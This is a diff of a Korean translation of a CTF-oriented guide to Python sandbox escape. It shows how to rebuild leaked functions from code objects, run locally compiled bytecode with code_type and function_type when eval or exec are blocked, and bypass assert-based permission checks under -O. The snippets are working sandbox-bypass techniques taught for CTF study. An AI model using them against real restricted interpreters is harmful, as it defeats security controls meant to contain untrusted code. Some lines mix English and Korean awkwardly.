``` > [!TIP] -> Python ๋ฒ„์ „์— ๋”ฐ๋ผ `code_type`์˜ **๋งค๊ฐœ๋ณ€์ˆ˜** ์ˆœ์„œ๊ฐ€ **๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์‚ฌ์šฉ ์ค‘์ธ python ๋ฒ„์ „์—์„œ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ์ˆœ์„œ๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: +> Python ๋ฒ„์ „์— ๋”ฐ๋ผ `code_type`์˜ **๋งค๊ฐœ๋ณ€์ˆ˜** ์ˆœ์„œ๊ฐ€ **๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ํ˜„์žฌ ์‚ฌ์šฉ ์ค‘์ธ Python ๋ฒ„์ „์—์„œ ํŒŒ๋ผ๋ฏธํ„ฐ ์ˆœ์„œ๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: > > ``` > import types @@ -980,7 +981,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ### leaked ํ•จ์ˆ˜ ์žฌ์ƒ์„ฑ > [!WARNING] -> ๋‹ค์Œ ์˜ˆ์ œ์—์„œ๋Š” ํ•จ์ˆ˜์˜ code object์—์„œ ํ•จ์ˆ˜ ์žฌ์ƒ์„ฑ์— ํ•„์š”ํ•œ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฅผ ์ง์ ‘ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. **์‹ค์ œ ์˜ˆ์ œ**์—์„œ๋Š” ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๋ชจ๋“  **๊ฐ’๋“ค**(ํ•จ์ˆ˜ **`code_type`**)์ด ๋ฐ”๋กœ **์—ฌ๋Ÿฌ๋ถ„์ด leakํ•ด์•ผ ํ•˜๋Š” ๊ฒƒ๋“ค์ž…๋‹ˆ๋‹ค**. +> ๋‹ค์Œ ์˜ˆ์ œ์—์„œ๋Š” ํ•จ์ˆ˜ ์ฝ”๋“œ ๊ฐ์ฒด์—์„œ ์ง์ ‘ ํ•จ์ˆ˜๋ฅผ ์žฌ์ƒ์„ฑํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. **์‹ค์ œ ์˜ˆ์ œ**์—์„œ๋Š” ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๋ชจ๋“  **๊ฐ’๋“ค**, ์ฆ‰ **`code_type`**์ด ์—ฌ๋Ÿฌ๋ถ„์ด ๋ฐ˜๋“œ์‹œ leakํ•ด์•ผ ํ•˜๋Š” ํ•ญ๋ชฉ์ž…๋‹ˆ๋‹ค. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -993,10 +994,11 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### ๋ฐฉ์–ด ์šฐํšŒ -์ด ๊ธ€ ์ดˆ๋ฐ˜์˜ ์ด์ „ ์˜ˆ์‹œ๋“ค์—์„œ **`compile` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด ์–ด๋–ค python ์ฝ”๋“œ๋“  ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•**์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ฃจํ”„ ๋“ฑ ๋ชจ๋“  ๊ฒƒ์„ ํฌํ•จํ•œ **์ „์ฒด ์Šคํฌ๋ฆฝํŠธ**๋ฅผ **one liner**๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค(๊ทธ๋ฆฌ๊ณ  **`exec`**๋ฅผ ์‚ฌ์šฉํ•ด ๋™์ผํ•˜๊ฒŒ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค).\ -์–ด์จŒ๋“ , ๋•Œ๋•Œ๋กœ ๋กœ์ปฌ ๋จธ์‹ ์—์„œ **compiled object**๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด๋ฅผ **CTF machine**์—์„œ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: CTF์— `compiled` ํ•จ์ˆ˜๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค). +์ด ๊ฒŒ์‹œ๋ฌผ ์ดˆ๋ฐ˜์˜ ์ด์ „ ์˜ˆ์ œ๋“ค์—์„œ **`compile` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด ์–ด๋–ค python ์ฝ”๋“œ๋“  ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +์ด๊ฒƒ์€ **๋ฃจํ”„ ๋“ฑ ๋ชจ๋“  ๊ฒƒ์„ ํฌํ•จํ•œ ์ „์ฒด ์Šคํฌ๋ฆฝํŠธ๋ฅผ** **ํ•œ ์ค„(one-liner)**๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค(๊ทธ๋ฆฌ๊ณ  **`exec`**๋กœ๋„ ๊ฐ™์€ ์ผ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).\ +์–ด์จŒ๋“ , ๋•Œ๋•Œ๋กœ ๋กœ์ปฌ ๋จธ์‹ ์—์„œ **์ƒ์„ฑ**ํ•œ **์ปดํŒŒ์ผ๋œ ๊ฐ์ฒด**๋ฅผ **CTF machine**์—์„œ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: CTF์— `compiled` ํ•จ์ˆ˜๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค). -์˜ˆ๋ฅผ ๋“ค์–ด, _./poc.py_๋ฅผ ์ฝ๋Š” ํ•จ์ˆ˜๋ฅผ ์ˆ˜๋™์œผ๋กœ compileํ•˜๊ณ  ์‹คํ–‰ํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค: +์˜ˆ๋ฅผ ๋“ค์–ด, _./poc.py_๋ฅผ ์ฝ๋Š” ํ•จ์ˆ˜๋ฅผ ์ˆ˜๋™์œผ๋กœ compileํ•˜๊ณ  ์‹คํ–‰ํ•ด๋ด…์‹œ๋‹ค: ```python #Locally def read(): @@ -1023,7 +1025,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -`eval` ๋˜๋Š” `exec`์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋‹ค๋ฉด **์ ์ ˆํ•œ function**์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜๋ฉด ๋ณดํ†ต ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค: _constructor not accessible in restricted mode_. ๋”ฐ๋ผ์„œ ์ด function์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” **์ œํ•œ๋œ ํ™˜๊ฒฝ์— ์žˆ์ง€ ์•Š์€ function**์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. +๋งŒ์•ฝ `eval` ๋˜๋Š” `exec`์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋‹ค๋ฉด **์ ์ ˆํ•œ ํ•จ์ˆ˜**๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ทธ๊ฒƒ์„ ์ง์ ‘ ํ˜ธ์ถœํ•˜๋ฉด ๋ณดํ†ต ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค: _constructor not accessible in restricted mode_. ๋”ฐ๋ผ์„œ ์ด ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ ค๋ฉด **์ œํ•œ๋œ ํ™˜๊ฒฝ์— ์†ํ•˜์ง€ ์•Š๋Š” ํ•จ์ˆ˜**๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ```python #Compile a regular print ftype = type(lambda: None) @@ -1031,9 +1033,9 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## ์ปดํŒŒ์ผ๋œ Python ๋””์ปดํŒŒ์ผ +## Decompiling Compiled Python -Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **๋””์ปดํŒŒ์ผ** given compiled python code. +Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ฃผ์–ด์ง„ ์ปดํŒŒ์ผ๋œ python ์ฝ”๋“œ๋ฅผ **decompile**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **์ด ํŠœํ† ๋ฆฌ์–ผ์„ ํ™•์ธํ•˜์„ธ์š”**: @@ -1046,7 +1048,7 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o ### Assert -ํŒŒ๋ผ๋ฏธํ„ฐ `-O`๋กœ ์ตœ์ ํ™”๋œ ์ƒํƒœ์—์„œ ์‹คํ–‰๋œ Python์€ asset statements ๋ฐ **debug** ๊ฐ’์— ์˜์กดํ•˜๋Š” ๋ชจ๋“  ์ฝ”๋“œ๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.\ +`-O` ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ตœ์ ํ™”๋œ ์ƒํƒœ์—์„œ ์‹คํ–‰๋˜๋Š” Python์€ asset statements์™€ **debug** ๊ฐ’์— ๋”ฐ๋ผ ์กฐ๊ฑด๋ถ€๋กœ ์‹คํ–‰๋˜๋Š” ๋ชจ๋“  ์ฝ”๋“œ๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.\ ๋”ฐ๋ผ์„œ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒ€์‚ฌ๋“ค์€ ```python def check_permission(super_user): @@ -1056,9 +1058,9 @@ print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` -์šฐํšŒ๋ฉ๋‹ˆ๋‹ค +์šฐํšŒ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค -## ์ฐธ๊ณ ์ž๋ฃŒ +## ์ฐธ์กฐ - [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) - [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)